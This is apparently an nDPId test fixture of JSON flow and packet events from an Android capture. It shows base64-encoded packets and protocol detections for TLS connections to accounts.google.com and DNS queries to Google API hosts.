+00520{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":310761,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0Ap1AAEAGsovAqAIQrNkVysrYAbsvYjZi5KJO\/IAYAW3dLQAAAQEICv\/\/Nv9tKujIFAMDAAEBFwMDADVv854oia57qsZKL2XJMUFtHTxjeo6vjfgJRQUfy2PLm1T1JGRC5KM+KNF15Iy3q9pdxkWnXQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"android.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1582454871321,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32998,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":321492,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8nfFAAEAG2qrAqAIQ2O8meIDmAbsuQarwAAAAAKAC\/\/\/zCgAAAgQFtAQCCAr\/\/zcBAAAAAAEDAwg="} +00554{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":333060,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"xiwDYGpkTGr2n\/YnCABFAACKAp5AAEAGsnTAqAIQrNkVysrYAbsvYjai5KJO\/IAYAW34zAAAAQEICv\/\/NwRtKujIFwMDAFFJnZKaM9gQsevdeBdx89hdv7S7NW06cDUNblX2QxT8+Fz\/6srYXvn2lo26tjuuh\/o0\/uD1mTA\/amaUtg4XOC\/5vu97X0e0xIppBPzz3RfhtOA="} +00863{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":334512,"pkt_caplen":382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":382,"pkt_l4_len":348,"pkt":"xiwDYGpkTGr2n\/YnCABFAAFwAp9AAEAGsY3AqAIQrNkVysrYAbsvYjb45KJO\/IAYAW0xrgAAAQEICv\/\/NwVtKujIFwMDATc82jPEDruuII+fpFTJEuZupdHBO9TshMIb2eLglBMe2a+soTgBbQLVgOkrQ17rR345soZYwnq8o8cZSRK1bN3xFJKjJrXXhw9JAuJZoGSOZaZbvxAGG8fMErxQHvFRArKk3YkHUTDw+KlHZoKuCjNcnW2TmKDRia\/A1H5GGhOBYkwqWL4tFoeZ1S1JIhpfFAzz7zqFGLrPetqe0xd+uSahDyOuBc+ffHsmD4xbTOUD3CCKEjEX\/SA\/7EqOrv\/0AdoL36p\/tt2RL5LmFIPx0523VRt7+DTe80TiqcCeOSt76JQSw3WwGoq3ddCcvQN3FJ+72iZ\/E5OKMst7yguhgo5GQrAWACWPPvqFC2YWnHzHK0DVMENxpnqc0nWY01vA37IUMiWEeYL6fWr1QZXZvgb4qr69gSxrjQ=="} +00520{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":334632,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB2AqBAAEAGsobAqAIQrNkVysrYAbsvYjg05KJO\/IAYAW09JAAAAQEICv\/\/NwVtKujIFwMDAD3KgCX9htg7W3R2fS8o9jlCurkQVVj9Gb7dDNKtzVqo95yM25x0wDUHTWb+nmhY4QJeslp9CXBZYnLBBOoM"} +00440{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":334763,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8saEAAHUG0frY7yZ4wKgCEAG7gOY64cVhLkGq8aAS6yCKsAAAAgQFZAQCCAofL14G\/\/83AQEDAwg="} +01727{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":335225,"pkt_caplen":1023,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1023,"pkt_l4_len":989,"pkt":"xiwDYGpkTGr2n\/YnCABFAAPxxA9AAEAGsNfAqAIQ2O8meIDeAbsJrvUSIL850oAYAXhFBAAAAQEICv\/\/NwRclUkuFwMDA7jcXSbmK+7whAoBJqkuLSQdNF0dOQ\/xEt0K9KXgAXlO+nMKeWY5RqBoBswD8QbQh2+LKGTlcqALheQbXFUcEUInngBab18DPttwjj1qeCr6lVeuLlqseDaZT0Rc+03FvOApJanR3Hj5qA+CM\/IoKYXulhMt5DY\/un1XHbqFpImaPS4ZDCaCZkuJkQwsjXsQQ\/V\/nZwvEZKLehvJu27L7YvhbDykKRfX64Vx\/qOrnTwb+qjsbXDYULlyac+zQbfpNQ1xLZcC8fMjI3OJhxzWaYDFXCUX\/075XnmS9JjIzH6Z6SeAblZXJDAJVAh5awPDg3Yr1s0AAjW+TN9UfD\/6HBH09hRYurHfUiMWUDT3xVFARnFYvwVH8cantQnttRhDL5TeyrChB9mmGttaWubpUtkiAwXl2fYvxp4QKAvqgrsYE1WWjjdMCgqtVb+w64RJ+knv49dC67n\/Ug+Z6badQ+6kg4VCHcoBzYjRkfsK2agi1j3dFSsxON5Pw+31iXniKDheOKFavHCnolai+8EUcSMD4H\/px4dfuv9IlS2g3InYdce4c77enIGF24ahns\/wU2S5BLGXp5tS24Uk0N6dp3CwkXrZkeIA8YBRSRVBRQNSkF4BL0UpxVHjP6vGPrd1LzG\/UYHC+PHjYiP8ZfWrslklydVMtjZiRUWZz2GKLJSnFzDqRK5lrpf8Qul\/AS+XdxIiiGyTc8\/8QFB8sHrh4BgS4h8xZjKWQ8ezMIvQTdGYCm9iI4N3Ay0irF3ICU+zIqVM1Zmv5JYVNZiT6EUrtEljAUJD7HzDkpC4r3KwvOvG69IQOOGLbvP3VYEwwPQpqw9eIImnrmQqZEd9+F5KD6IavEikqo9h0HhxXXZhJgzwMeOaQC6x1rgGhl\/zVi8gOVD1v\/N4EzhOiMwWtcqxtknM1LlzrGsC+7DONroynyymIvw8mR42pvXVl2l0HGeUCyAC55EgYbgJPKLo5Sz2ek6SBjDqwdYJNTiPZp5aZ7OxDRXfAqygjYL17huYnpYQ27CpCutbZaO59ubIHWFeNzpmEahhSFmZtnN27ekaYY4RHU9JLZ0FtQHnU9+SEZC68J8pI2e2RfQKAJYvy6MGC1ae71hs1ywtqJjlj0DUMuEtiDQZyqeRX6gzy2NirFu1ux5B+6HJyhOYZdclDDIWy76E6sRMdesPHR\/aSJCIvoflRIyR37hLMmWuHHUQ6nWB+yRQCrYxtluzJGJ2i9kYGZebpB5jVvUcVyUY1xc75t1a2dJzOuuJ5GB6"} +00428{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":335705,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0nfJAAEAG2rHAqAIQ2O8meIDmAbsuQarxOuHFYoAQAVei8wAAAQEICv\/\/NwUfL14G"} +01129{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":339142,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5nfNAAEAG2KvAqAIQ2O8meIDmAbsuQarxOuHFYoAYAVe\/wgAAAQEICv\/\/NwYfL14GFgMBAgABAAH8AwM2HQqqNkiYixPn9BwY+6aPMTBPHUYVai51sP\/t1krD8iCPeQv28z7\/GLsaGfQh98BpWEFaJzPvJz3ZigJL3Bq7jwAiqqoTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZG6ugAAAAAAGAAWAAATYWNjb3VudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAoACNraAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQASAAAAMwArACna2gABAAAdACDaIvjlTeWP\/EfNzQgKtZHyge+ZIFM5wilp\/lsIRx8ZUQAtAAIBAQArAAsKiooDBAMDAwIDAQAbAAMCAAIKCgABAAAVAMUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00794{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":288,"source":"android.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1582454871321,"flow_last_seen":1582454871339,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32998,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":291,"source":"android.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1582454871343,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35689,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":343067,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"xiwDYGpkTGr2n\/YnCABFAABQq9VAAEARCWbAqAIQwKgCAYtpADUAPJHqlgwBAAABAAAAAAAAE3NlbWFudGljbG9jYXRpb24tcGEKZ29vZ2xlYXBpcwNjb20AAAEAAQ=="} +00664{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":291,"source":"android.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1582454871343,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35689,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"semanticlocation-pa.googleapis.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00429{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":347047,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0Nu4AAHcGSrbY7yZ4wKgCEAG7gN4gvznSCa74z4AQAPf28QAAAQEIClyVSXL\/\/zcE"} +00428{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":352300,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0sbMAAHUG0fDY7yZ4wKgCEAG7gOY64cViLkGs9oAQAPChQgAAAQEICh8vXhj\/\/zcG"} +00429{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":359254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0nfRAAEAG2q\/AqAIQ2O8meIDmAbsuQaz2OuHFYoARAVeg1QAAAQEICv\/\/NwsfL14Y"} +00431{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":359312,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0RudAAEAGM\/DAqAIQrcJPco\/iAFBu6HJ7Jij4B4ARAV88gwAAAQEICv\/\/NwvBhPCW"} +02353{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":370051,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+scwAAHUGzE3Y7yZ4wKgCEAG7gOY64cViLkGs9oAQAPC4WwAAAQEICh8vXin\/\/zcGFgMDAHoCAAB2AwN8xw9S\/ZOSYqACMZeUrNR9nwHQkl7tx9m5Z1N7PUqw5iCPeQv28z7\/GLsaGfQh98BpWEFaJzPvJz3ZigJL3Bq7jxMBAAAuADMAJAAdACD0smEXO7sK7Kajb+qi7uP78Ilw5tC+\/EM9jWfm15fZKQArAAIDBBQDAwABARcDAwtb0zvn61NQhaNfMP1sNXgMUU6QWsPOKVSHr0GoGFNmRF4O8U6PjTuUN0wgeMwnAPRNfsjMNZKbzosHs7u1zzzzy71LJ8QsdwYw0AboGSe0PE1cp5h17he0769FJKf9+7CW3iTukjkyPv+v91NNwl7Zmm2ghRo26LgOQVHxAweObg7kqKAHrm7HgSAokWgfVi1cOYJhpwAppcMeKKXKAEJsW+REgajW9q4x0MDhZg3x1c64vwvaUeaN3YJh3Ce89kCVLAc+jOKsKJjmSid8gxFBvonydJziUgQpzXh9lTU6RTsWEGT8djskM\/KEQdwO5FafjOKwq7Wd42OOCtEUQpgfZimcP+zQhhr\/K0hC0Lxf9wBjJ+XOw4q2D\/5sT\/X8h1m3TmxgLnvXK85TII0wYzJhSvkcLiJabhue2MLQR1u0s\/tC3unWo+bjkZeJNx868ZSG3aFf1QXSBTzznOMSgrNCgnrpPrFYCI\/JvwSmnOX3dj+GIxhlPVwAxj4ibH7LuIPiPJbBh277DOA4Fo1saIYrTEM3aS325729bzcASVonz1Ntpyp2pvMVPKOQFbRNvYDA5DW6G34VGEBI5JQiXZegBNzYtfAyNvo5lTbcvfFeVs++NCeLjwwqGIiP24UHNp+28Mh5LaZnqJoVhnfCOs9M2UxoFNdqbTJ87gi42ato7QC1kDo+SvudEdG7hyvSha6hHZUKxdp1eVdmntKGiyhPQNMnJ5E9\/lVhZi3wF+WqDgr\/APH4nv8QtqqlKmVuXFjoh47ARurQ\/+n2V+hjVCeNy2Hna\/bLYyo6wRzCb2kutuQN5vA8xwCVCxWUwJnbPuCdJ4uu7++nxGpINYsdidBiCE4azcuRj0JHnvMUVkK9xBjo0DUop8sRPHIkDhjaExgKlAk0\/Kf+rX9rTZk2NTsukrHzIbpoT530hGk39slv5GC+rTxLaCaWLs92W6v+N3o1cahyMJYuW4kXwu86\/3iYoLI7GJE6UEVKMzq7q23thrhjZ9Y2NGNjaEs1G\/YbiUrC6heXLCe86Hb\/6Ux7mrzXaZ2TfA0ybHSuVkDKb3iNFCyEutyOj9q1+PQXSSn93ZWXNhfpGZqGgfF6\/3D2dZLZS\/oy1RQ4xW\/tkLo3gyq7pH3Iyqw60YTjzKhvXT78xpA+FH2aWRcJF+8OEKr3BhM22B2y9ZW1UKIMJyPQKDOW2b\/VqX44exkOUM\/c\/Ml1et11MIqEIgcelZYvpfGcwUQEt1E5cQZ06mcFPQUtHU9KqDSBB35dFOl7QxbfeJzg\/4pODCUdDafgINYp4fv6\/DMTGqS13jbR4zQn7VcC6Kr55583m1Vd4W4FUK4qYato9sNHcEGdNW9ir2WzMsvkPXzroDwJuxGokG0Uga1PJ0KPpf3XRNswLMqCAeGXxSQNxt39\/YzCCaVMdvjiY+14cGSjpeyuDgrVxOWnMmAmOhniOEMajU3Umza0YRucTOU09yg+DbCZ3XJVoTYYBaek84mbbBuShbY+d6swrTNuSq8G7Y6c9irlsWNQJhWjFe4elnawqsSDCE2P9oGna72653C4sgkLQfZsgesdZV+1rNHGspmKOkzp59y5vUuMgG7bSv0MPzoRq5cLoFjy6LFgEY+FOdTVPFOWXnr0mjKx4ObkuPcry8Rvrr9NVewCyJI5CCx7SBNrsoEIB3VEZGsPI9HQWLcPiIunXL74\/HI8zMs8Goc="} +00835{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":298,"source":"android.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":7,"flow_first_seen":1582454871321,"flow_last_seen":1582454871370,"flow_tot_l4_data_len":2175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":310,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32998,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"accounts.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02359{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":371155,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+sc0AAHUGzEzY7yZ4wKgCEAG7gOY64crsLkGs9oAQAPD6GAAAAQEICh8vXin\/\/zcGu1IywbQbnDc5ksf3r3A9cpM75iOyHjU9m\/pzcf1D1KKa0Y+q8qTCI6ibmEJGvZBc\/pyC6bzW9vp\/RjW\/jEE6rxszvW9No1vC3+4Upo\/moRHxC5460pU5mEl0C\/rIhxb9ZqKz9imSAW1A1MFcxgIXjkqp2Txd\/69oex\/MnOc7nq3H3mXJcbElER2WggtIeNSwxA65XMFhRluAX5dnYiDIG+mhXOHPyKYFDhaEFkRG1gTWBt9ErqKKw0JabG8MSuSajimj0CIbFoA6ThiA+Fy\/lmymgrFaKoUXkg17lORKkMwV6q4tL7Dkc\/aQ3erUMXv21yjorSJtTEk2h76w3fxCi5KqK4CJQAC\/bSuVfrGaq+TwKISfi7gfKCfhYEZdUquwnh8ts2Svs6ue1VByD4g\/uplHRQFel2Av4M0DDLhE4WTarczEVm0tCpvySs7\/5a4E6mAb4Pvvhq3Ehwemz+tjXDky1NCTfSsNMHWLf2oocAKK\/IU90wJ7ZKQDVEyDwtAhgfwqz6QLRhBLGYYPGs\/CWxL8A1dtUTTDNro1ee3Hk+96VntFB3ewB0puBySlTttVaW28TG1u6dYWlJghTWmTKpmPiZBqgYDJJBNRnnzZNEl0nWhW90Ah2YUbd3FvRa4ckqGYSUHAvt6PNT2nOmYGK\/D5Gj1xyv7mHzD6RrF+RahYm8AqGJ6\/jByt74D6JhzqpJxMhw0mtFHSlP41fNSzdUSteM\/wI8nd1MgvTmAS6yKamFipzpOJGmHdyVn7Q6YLHSmrkOuKkK78jwZvaDUnVV4bLlDil8vlJenC7kFTrV2uCNzQdBqJRIrRYFRYCEBbjAH0LIrlRhoIpHwU\/wvAZ84hAtrOcMbLVQ3TXA2s0av+5rNScJAHXtGlvCHpyB+wup6BRoS1GLdw9EP\/fqg6jy+4J9klo\/eE47vA8YhATuD0wNeyV0tX1u+yUg2EyIwpj0x0hSwTQA6c34pTjAhYdO8zKX1tscCbLsxXRw45vEzpzFZRjfkAvKhLLcI3fLpTJyxFAm80fDCcTmSXlyMUIX+6paT3jiru4lb9x2FisU1TnQnAHuPg7ICf0EL1MHgr6SBu7GQ2MtbXyX\/U4VFgsU5oWKIwAOfqpKZt\/9n4tQmDfUu3w+CwO7A2usG1jd+VvT3Rh5tZECP0Ws1X3h4T3+2EuymphaGigx4Nffn+5FdtiJ2UbSPY6YoIuqAxifiIA6g8jfcLU1T4VRyLxYrJwt2h555xwlr3JOLQvlFdX3dW0klbYnmF91p0QMLwEUXTYJNVyno0FhSZ3ju9qztgZorW\/+F09caxSOnf\/roEJOxXCeMN\/hJk8uGefKDe\/yclC2svHEyN7S8wn5ny40jJGVrQiS1GJnANfH2RjRFQGRja9DFRh4JqER7bBGuAlPj05uE3M3aC53ghBh9I1lJ1RI3MxiH65S0XJk6XrOSVMH2f+215UAsHTlOQPyiw06Y6tw8Js010vfKDz2KEDIqUZcc3Q1YSGplrsomHOOjCU1tY\/N\/OR\/6bXcggsW0N9+nAx7oi0QxLlsSOBGl5z1hgrXUmUAV1cm8qxtBtZwFhfuG6vtDzcC0eg5p0yG32tYqai218Z1FPXvKTqB4tj+pA5vabVkFhPHdb6k0p+KuZeD1X5XGzFWwO68LIaIZ+lre3L+fhIw3WF0mHJ62dNTpA\/KfzUmhy\/FJvDx8O6VFjXLe+pa6qVGFpn7GWnMcLEbpoRaTQZCkFEiFNlFnp+B409wxFP8FXj3De4vr854OdUGXXfE+J9qDGi350rOaTiIvL5ZWZnj1jrXJvTS82NE2nn9+cKXs\/tMolW0uqYmvUXNtDHES5QHMevGBoBNyfMnOcF8rKgh+1erjpLO0zACGZsXft4PxbLWoP1Ks="} +00715{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":371156,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEFsc4AAHUG0QTY7yZ4wKgCEAG7gOY64dB2LkGs9oAYAPCqKAAAAQEICh8vXin\/\/zcG7ueDwtBPQ+\/zXsd4N+IEldV7LTFV2EKTDrUd7hUGwSYlVe0vqdvSZnh5+J+xEX+LutOXu6gzXGICoDkMaViKEaCNE5scBgiduaC2FyrTG22vcjUAhYx0BAyOwo5phr51dWHRwZ8\/4NMZ59QJtbgQrURiXm6DkeH\/9kjPuwsj0TV5WyfnKb9U3B8F9KYSXt6tXbwTT2cLPpA7Kl6QYsKtDGlSH8ah+eEL5OjS9A6xeA8Iyp9c6uhfJC+Inp+pmx\/v2ge54HDt537QN4TWGHVU0CY="} +00411{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":371331,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAomMNAAEAG3+zAqAIQ2O8meIDmAbsuQaz2AAAAAFAEAACP5wAA"} +00429{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":372297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0sdEAAHUG0dLY7yZ4wKgCEAG7gOY64dFHLkGs94ARAPCVQgAAAQEICh8vXiz\/\/zcL"} +00411{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":374162,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAomMRAAEAG3+vAqAIQ2O8meIDmAbsuQaz2AAAAAFAEAACP5wAA"} +00411{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":375028,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAomMVAAEAG3+rAqAIQ2O8meIDmAbsuQaz2AAAAAFAEAACP5wAA"} +00411{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":375141,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkTGr2n\/YnCABFAAAomMZAAEAG3+nAqAIQ2O8meIDmAbsuQaz3AAAAAFAEAACP5gAA"} +00488{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":383146,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"TGr2n\/YnxiwDYGpkCABFAABgqGIAAEARTMnAqAIBwKgCEAA1i2kATI9glgyBgAABAAEAAAAAE3NlbWFudGljbG9jYXRpb24tcGEKZ29vZ2xlYXBpcwNjb20AAAEAAcAMAAEAAQAAALIABKzZFEo="} 